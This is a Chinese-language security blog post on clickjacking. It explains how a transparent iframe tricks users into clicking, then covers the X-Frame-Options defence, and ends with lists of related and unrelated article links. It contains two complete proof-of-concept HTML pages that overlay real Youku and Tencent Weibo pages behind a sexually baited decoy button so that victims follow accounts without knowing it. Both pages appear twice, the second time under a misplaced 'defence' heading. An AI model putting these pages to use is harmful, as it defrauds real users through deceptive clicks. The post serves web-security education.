点击劫持(click jacking)

什么是点击劫持
点击劫持,clickjacking,也被称为UI-覆盖攻击。这个词首次出现在2008年,是由互联网安全专家罗伯特·汉森和耶利米·格劳斯曼首创的。
它是通过覆盖不可见的框架误导受害者点击。
虽然受害者点击的是他所看到的网页,但其实他所点击的是被黑客精心构建的另一个置于原网页上面的透明页面。
劫持原理
攻击者使用一个透明的、不可见的iframe,覆盖(包含)一个网页,然后诱使用户在该网页上进行操作,此时用户在不知情的情况下点击了透明的iframe页面。通过调整iframe页面的按钮位置,可以诱使用户恰好点击在iframe页面的一些功能性按钮上。
劫持案例
- 点击一个表面显示是“播放”某个视频的按钮,而实际上完成的操作却是将用户的社交网站个人信息改为“公开”状态。
- 通过图片覆盖导致链接到一些未知的网站
思路即为,找到有用的地方,查到坐标,放置按钮,放置诱惑信息,OK!
代码示例
优酷频道刷粉的POC
<!DOCTYPE html>
<html>
<head>
http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>点击劫持 POC</title>
<style>
iframe {
width: 1440px;
height: 900px;
position: absolute;
top: 0;
left: 0;
z-index: 2;
-moz-opacity: 0;
opacity: 0;
filter: alpha(opacity=0)
}
button {
position: absolute;
top: 230px;
left: 1200px;
z-index: 1;
width: 80px;
height: 20px
}
</style>
</head>
<body>
<button>点击脱衣</button>
<img src="http://b.hiphotos.baidu.com/image/pic/item/3ac79f3df8dcd1001341dbcd768b4710b8122f78.jpg" />
<iframe src="http://i.youku.com/u/UMjA0NTg4Njcy" scrolling="no"> </iframe>
</body>
</html>
腾讯微博刷粉
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>点击劫持 POC</title>
<style>
iframe {
width: 1440px;
height: 900px;
position: absolute;
top: -0px;
left: -0px;
z-index: 2;
-moz-opacity: 0;
opacity: 0;
filter: alpha(opacity=0);
}
button {
position: absolute;
top: 250px;
left: 770px;
z-index: 1;
width: 80px;
height: 20px;
}
</style>
</head>
<body>
<button>点击脱衣</button>
<img src="http://b.hiphotos.baidu.com/image/pic/item/3ac79f3df8dcd1001341dbcd768b4710b8122f78.jpg" />
<iframe src="http://search.t.qq.com/user.php?pos=436&k=东北保钓" scrolling="no"></iframe>
</body>
</html>
防御
思路即为,找到有用的地方,查到坐标,放置按钮,放置诱惑信息,OK!
优酷频道刷粉的POC
<!DOCTYPE html><html><head>http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>点击劫持 POC</title><style>iframe {width: 1440px;height: 900px;position: absolute;top: 0;left: 0;z-index: 2;-moz-opacity: 0;opacity: 0;filter: alpha(opacity=0)}button {position: absolute;top: 230px;left: 1200px;z-index: 1;width: 80px;height: 20px}</style></head><body><button>点击脱衣</button><img src="http://b.hiphotos.baidu.com/image/pic/item/3ac79f3df8dcd1001341dbcd768b4710b8122f78.jpg" /><iframe src="http://i.youku.com/u/UMjA0NTg4Njcy" scrolling="no"> </iframe></body></html>
腾讯微博刷粉
<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>点击劫持 POC</title><style>iframe {width: 1440px;height: 900px;position: absolute;top: -0px;left: -0px;z-index: 2;-moz-opacity: 0;opacity: 0;filter: alpha(opacity=0);}button {position: absolute;top: 250px;left: 770px;z-index: 1;width: 80px;height: 20px;}</style></head><body><button>点击脱衣</button><img src="http://b.hiphotos.baidu.com/image/pic/item/3ac79f3df8dcd1001341dbcd768b4710b8122f78.jpg" /><iframe src="http://search.t.qq.com/user.php?pos=436&k=东北保钓" scrolling="no"></iframe></body></html>
防御
X-FRAME-OPTIONS是目前最可靠的方法
X-FRAME-OPTIONS是微软提出的一个http头,专门用来防御利用iframe嵌套的点击劫持攻击。
并且在IE8、Firefox3.6、Chrome4以上的版本均能很好的支持。
这个头有三个值:
DENY // 拒绝任何域加载SAMEORIGIN // 允许同源域下加载ALLOW-FROM // 可以定义允许frame加载的页面地址
参考:
http://www.freebuf.com/articles/web/67843.html
点击劫持(click jacking)的更多相关文章
- web安全:click jacking
点击劫持 click jacking通过iframe加载被攻击网站到黑客自己维护的网站通过z-index叠加和position定位,将2个网站的信息堆叠在一个立体投影面上,通过opacity设置透明 ...
- 点击劫持(CLICKJACKING)与X-FRAME-OPTIONS HEADER
转载: http://www.tuicool.com/articles/mqUBfa 目录 前言 1.1 点击劫持(clickjacking attacks) 1.2 Frame Bursters. ...
- XSS学习笔记(一个)-点击劫持
所谓XSS这个场景被触发XSS地方,在大多数情况下,攻击者被嵌入在网页中(问题)该恶意脚本(Cross site Scripting),这里的攻击始终触发浏览器端,攻击的者的目的.一般都是获取用户的C ...
- 点击劫持漏洞之理解 python打造一个挖掘点击劫持漏洞的脚本
前言: 放假了,上个星期刚刚学习完点击劫持漏洞.没来的及写笔记,今天放学总结了一下 并写了一个检测点击劫持的脚本.点击劫持脚本说一下哈.= =原本是打算把网站源码 中的js也爬出来将一些防御的代码匹配 ...
- Web应用安全之点击劫持(CLICKJACKING)与X-FRAME-OPTIONS HEADER
点击劫持(clickjacking)与X-Frame-Options Header 文/玄魂 目录 前言... 1.1 点击劫持(clickjacking attacks)... 1.2 Frame ...
- Web安全之点击劫持(ClickJacking)
点击劫持(ClickJacking)是一种视觉上的欺骗手段.大概有两种方式,一是攻击者使用一个透明的iframe,覆盖在一个网页上,然后诱使用户在该页面上进行操作,此时用户将在不知情的情况下点击透明的 ...
- ClickJacking(点击劫持)
问题: 点击劫持(ClickJacking)是一种视觉上的欺骗手段.大概有两种方式,一是攻击者使用一个透明的iframe,覆盖在一个网页上,然后诱使用户在该页面上进行操作,此时用户将在不知情的情况下点 ...
- Cookie中设置了 HttpOnly,Secure 属性,有效的防止XSS攻击,X-Frame-Options 响应头避免点击劫持
属性介绍: 1) secure属性当设置为true时,表示创建的 Cookie 会被以安全的形式向服务器传输(ssl),即 只能在 HTTPS 连接中被浏览器传递到服务器端进行会话验证, 如果是 HT ...
- 安全测试4_客户端的安全漏洞(XSS、CSRF、点击劫持、URL跳转)
那个fanh前面学习的都是基础,现在开始正式学习下安全的知识,这一章主要讲解客户端常见的安全漏洞. 看到这个不错,给大家记一下: 1.常见的安全事件: 2.XSS(跨站脚本),英文全称:Cross S ...
随机推荐
- windows10个性化设置
任务栏DIY 日期显示样式 字体
- 基于RFID恢复信号场
学习RFID的核心是什么?难处在哪?:https://www.zhihu.com/question/26799106
- WPF学习资源整理
WPF(WindowsPresentation Foundation)是微软推出的基于Windows Vista的用户界面框架,属于.NET Framework 3.0的一部分.它提供了统一的编程模型 ...
- python字符串字典列表互转
#-*-coding:utf-8-*- #1.字典 dict = {'name': 'Zara', 'age': 7, 'class': 'First'} #字典转为字符串,返回:<type ' ...
- CentOS 7.2安装gitlab-ce
国内网络原因,gitlab-ce安装包可以在清华大学开源网站镜像站下载:https://mirrors.tuna.tsinghua.edu.cn/gitlab-ce/ [root@gitlab ~]# ...
- Android ActionBar使用方法
对于这ActionBar我想很多人都想了解一下到底是怎么一个使用方法,以及它都存在哪些可操作的和使用的地方.如下图所示:<ignore_js_op> 这便是ActionBar的基本内容.获 ...
- python的requests库详解
快速上手 迫不及待了吗?本页内容为如何入门 Requests 提供了很好的指引.其假设你已经安装了 Requests.如果还没有,去安装一节看看吧. 首先,确认一下: Requests 已安装 Req ...
- mysql 循环插入
在mysql添加测试数据,想和mssql一样用循环实现,发现不管怎么样都执行失败 经查询发现mysql不支持匿名块,只能先创建出一个存储过程,执行,然后删除 CREATE PROCEDURE test ...
- C#多线程编程实战1.1创建线程
using System;using System.Collections.Generic;using System.Linq;using System.Text;using System.Threa ...
- Linux基本命令集合
#Linux查看版本当前操作系统内核信息 uname -a #Linux查看当前操作系统版本信息 cat /proc/version #Linux查看版本当前操作系统发行版信息 cat /etc/is ...